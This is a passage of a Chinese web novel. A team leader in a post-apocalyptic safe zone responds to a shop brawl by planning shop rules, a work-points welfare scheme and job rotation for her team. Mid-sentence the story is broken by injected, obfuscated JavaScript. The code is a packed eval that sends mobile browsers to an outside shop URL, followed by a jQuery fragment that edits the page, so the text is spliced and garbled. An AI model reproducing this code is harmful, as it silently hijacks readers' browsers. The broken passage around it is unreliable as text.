闲聊一会儿之后，问辛也主动提起今天聚餐的另一项目的：职能分配和福利待遇。
现在人少事多，大部分人都得身兼数职。
像石武，不仅要轮值看店，以后可能还要兼顾武装护卫队的事情。
像胡小八，白天要负责种植的事情，下午店里人多的时候，也会提前下班过去帮忙。
关时三也是一样。
梁开胜和罗登今天去店里的时候，好像惹出了乱子。
刚才吃饭闲聊时，石武已经悄声跟问辛和乌良说明情况了。虽然罗登性格是有点容易被点着，但那几个挑事的人确实也是故意的。
回来的时候，梁开胜就帮着解释过，那几个人之前就跟罗登有过节，但就算一开始是罗登不对，后来那几人每每趁着他狩猎后期，专门抢劫他，那也该报复回来了。
但是那几人吃到了甜头，反而变本加厉的死盯着他这只羊毛薅，不然以他的能力，问辛当初雇他做事的时候，他也不会是那副惨淡的境况。
而且那几个人还讲究一个放长线、钓大鱼，也并不把他逼到绝境，真硬碰硬打起来，他们就算赢了，也绝对讨不了好。
就连这抢猎物的操作，也算是在野外狩猎的默认规则内被允许的。
只是他们这样故意盯着一个人针对，也是看他性格不好，拉不到什么朋友来找回场子，所以才敢这么放肆。
真是活生生的欺负你不算，还要恶心死你。
而罗登性格也不是能忍气吞声的，每次自损一千，也要伤敌八百。
虽然大部分时候都是罗登吃了哑巴亏，那些人虽然占了便宜，也少不了吃教训。
反正他们梁子结下之后，就这么一直你来我往的互坑着，直到他被问辛雇来干活儿，没再去外面狩猎，这才许久没跟那几人接触。
说实话，要不是那会儿去店里刚好碰到，他都快忘了那几号人。
近来那几人过得其实也不是太顺。
虽说如今靠着兑换物资，能赚的也不算太少，但是没了之前共同敌对的目标，这几人也没那么团结友爱了。
一分散收集物资，还互有竞争，日子过得自然就没那么开心了。
他们也不是没想过像之前那样，重新找别的冤大头抢劫。
可不是谁都像罗登那样，性格差到基本没朋友，即便找人合作，谈不了两句，只怕就得吵起来散伙儿。
他们后来也抢过几次，但是也都被成功报复回来，还损失了更多。
久而久之，他们也算是老实了。
他们也不是没想过再找罗登的麻烦，只是他给问辛来做事后，难得找到一个性情相投的朋友，不仅每天早出晚归，还跟梁开胜形影不离的，能下手的机会实在不多。
安全区里的动静不能闹太大了，他们也曾试图在他们回去半路上埋伏，但是别看梁开胜个子不高，异能等级比罗登还高。
本来对付罗登一个，他们都要合伙儿，还免不了要吃些亏，再来一个，他们是真的讨不了好，也就只能就此作罢。
可是今天又在店里遇见，双方关系还又反转过来了。
今天店里的人又只有石武一个小毛孩儿，尽管慑于之前乌良的威震，这会儿也忍不住心思活动，故意挑起罗登的火来，顺利起了冲突。
好在罗登脾气虽然暴，但跟石武他们三个就没一个性格软弱的，实力也都是实打实的战斗系。
他们三个催动异能，往那儿一站，架势也还是挺足的。
见不好占便宜，不论是想浑水摸鱼还是暗中拱火的，也都消停了下来。
之后石武臭着脸，表示要兑换物资的就赶紧换，不换他们就关门下班了，那些人才赶紧重新排队。
又闹哄哄好一阵，总算给人都兑换完了，也没闹出大乱子。
就是罗登心里还有些心虚，才来店里一次，就闹出这样的事儿。
他可还记得，之前他跟问辛和乌良也是起过摩擦的！
虽然人家后来不计较，他也快忘记那回事儿了，但是现在自己这边又出岔子，便忍不住勾起他的担忧。
问辛皱眉听完。
她不喜欢主动惹事，也怕麻烦，但不代表她就能让自己团队的人忍受欺负了。
不过这事儿已经算是过去了，又有罗登和那几人的历史烂账在，要是再专门去找人报复，为免也太降逼格了。
但这事儿也不能当没发生过，她觉得正好也借此给店里增加一些新规矩。
比如规范一下店里的营业时间，不然有时候空等着，两边都耽误时间。
再就是对那些故意闹事的，应该也有个教训。
比如故意找事儿的，就不再接收对方的物资交易。
不过这样可能太严格了，毕竟开门做生意嘛，他们也是赚的。
那就当日，或者连续几日不接收交易？如果继续挑事，积累到一定次数的时候，再终身不接受和对方交易？
但这样是不是得搞个信誉积分呀？
问辛想了想，又觉得不妥，虽然现在她们兑换业务看起来很红火，但是还真没到非她们不可的地步。
一个不好，可能反而将中立的人给推到对立面去。
那还是到时候口头警告一下好了，来店里闹事的，当天不予兑换，之后看看效果再说吧。
不过团队内部的贡献几分和违反规则的惩罚，倒是应该先确定起来了。
像罗登的性格，让他做“技术岗”，专心干活，或者参与武装队伍，或者作为团队守家护卫的一员，应该都可以。
至于要多跟人打交道的活儿，她觉得也不该直接摁死对方想要改变的机会，只是如果他想要再去店里，再次因他惹出事来，就应该接受对应的惩罚。
一定次数后，如果问题还是没有明显改善，那再否决他去这个岗位的机会。
当然，如果他自己也不想锻炼（为难）自己，直接放弃这个机会也更没什么问题。
只是之前也说了，他们现在人少事多，基本每个人都有多项工作，而且各项工作的强度、性质也不一样，其实不好按人头划分福利的。
问辛想着，例如团队内的免费住房，种
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13352687|132642||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
植区收获后的基础配餐等，这些就作为团队的基础福利，不受贡献和惩罚影响，除非是被驱逐出团队。
而其他福利，就按实际工作，按工分来算吧！
比如在店里值班一天算多少工分。因为别的工作做完，有时候会有去店里的支援，那还可以按照每小时多少工分，来出一个标准。
而种植区的工作又是多少工分，以后出去巡逻、狩猎又是多少工分，有猎物又该怎么算？
还有以后食堂部分，也得有人负责。等种植成规模、内部食堂也顺利运转起来以后，园区大门另一边的铺子，问辛是打算做饮食的，那就也可以试着开起来了。
等大家习惯吃原始食物以后，一些原材料应该也就有些市场了。
而且，以后的粮食加工厂这些，其实应该要提前准备了，毕竟他们自己内部饮食需求，也是需要的。
这些位置也是需要人的。
现在有没有能在这些岗位工作的，还需要大家都轮岗尝试一下，以后自然也还会再招人进来。
所以这些计划里的岗位工分也已经提前规划出来，免得以后加一个岗位，再琐碎的讨论一次。
还有那些兑换来的物资处理。
或许这个团队是问辛主导，那些用于兑换的晶石也是问辛出的，所以兑换来的物资也是默认为问辛的资产，所以除了她自己以外，其他人应该也能帮忙加工。
那这个岗位，也许也可以找人轮岗工作了。
要问辛说，这个岗位跟孙青的适配度应该是最强的，不过她还没找她实验过，而且孙青在战斗方面的能力也不弱，肯定也不能固死在这个位置上。
还有工分兑换物资的比例应该怎么算，等等。
总之，一说起来，其实团队里还有很多事儿都还没划分清楚，也就是现在他们人少，大家也都是提前合作过或者有点交情的，这才含含糊糊的混过着。
现在问辛把能想到的，都先列了出来，希望跟大家一起讨论出个章程出来。
别说，问辛说出这些计划的时候，大家还真没想到她能划分得这么细致。
说实话，别人组队，也都是一起出去狩猎，按照战斗中出力多少，来划分猎物成果。再就是交换物资的时候，团队内部会更方便一点。
那也没问辛计划的这么大规模呀。
按照她的说法，以后需要补充的团队成员应该还不少。
啧啧啧，之前无穷商队在规模上已经不小了吧？和问辛说的这些计划比起来，好像都变得小儿科了一样。
而且问辛还不是空谈，每一项计划的业务，都是有理有据，确实能做起来的。
众人心思也都火热起来。
就连罗登，听到她对店里闹事，还有队员对各岗位的适配度实验安排的时候，知道是在说自己，不，也不完全是在说他。
反正他听完也是一阵眼热鼻酸。
这一刻，他才真正从心底将自己当初团队的一员，而不是老实打工仔的身份。
梁开胜见状，也拍拍他肩膀，但内心同样一阵触动。